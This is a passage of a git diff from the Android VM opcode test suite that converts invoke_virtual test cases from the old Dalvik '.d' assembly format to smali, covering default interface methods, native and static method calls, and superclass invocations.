deleted file mode 100644
index 0e87969..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_virtual.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_virtual.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_virtual_26.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_26
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual.d.ITestDefault
-.implements dot.junit.opcodes.invoke_virtual.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-virtual {v0}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..16628d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..267a591
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/T_invoke_virtual_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/T_invoke_virtual_26.smali
new file mode 100644
index 0000000..5c1793a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/T_invoke_virtual_26.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.d
deleted file mode 100644
index d34045b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault2.java
-.interface public dot.junit.opcodes.invoke_virtual.d.ITestDefault2
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_virtual.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source ITestNonDefault.java
-.interface public dot.junit.opcodes.invoke_virtual.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_virtual.d.ITestDefault
-.implements dot.junit.opcodes.invoke_virtual.d.ITestDefault2
-
-.method public abstract testDefault()V
-.end method
-
-
-.source T_invoke_virtual_27.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_27
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual.d.ITestNonDefault
-.implements dot.junit.opcodes.invoke_virtual.d.ITestDefault2
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-virtual {v0}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..16628d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..267a591
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..56ff2d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/T_invoke_virtual_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/T_invoke_virtual_27.smali
new file mode 100644
index 0000000..7954d33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/T_invoke_virtual_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.d
deleted file mode 100644
index 8d3cf9e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source ITestDefault.java
-.interface public dot.junit.opcodes.invoke_virtual.d.ITestDefault
-
-.method public testDefault()V
-.limit regs 2
-    return-void
-.end method
-
-.source T_invoke_virtual_28.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_28
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_virtual.d.ITestDefault
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-virtual {v0}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28/testDefault()V
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..16628d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/T_invoke_virtual_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/T_invoke_virtual_28.smali
new file mode 100644
index 0000000..f3756c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/T_invoke_virtual_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.d
deleted file mode 100644
index 5de2f49..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_4.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4/test()V
-       return-void
-.end method
-
-.method public native test()V
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.smali
new file mode 100644
index 0000000..c7ff55b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4;->test()V
+
+    return-void
+.end method
+
+.method public native test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.d
deleted file mode 100644
index 6f18698..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_5.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali
new file mode 100644
index 0000000..5bd3370
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_5.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.d
deleted file mode 100644
index a3f42ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_6.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_6
-.super dot/junit/opcodes/invoke_virtual/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali
new file mode 100644
index 0000000..c3ef96a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_6.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6;
+.super  Ldot/junit/opcodes/invoke_virtual/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.d
deleted file mode 100644
index 2e3a6a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_7.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_7
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali
new file mode 100644
index 0000000..e48e8fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_7.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.d
deleted file mode 100644
index c6ef760..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_8.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali
new file mode 100644
index 0000000..b3e59bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali
@@ -0,0 +1,36 @@
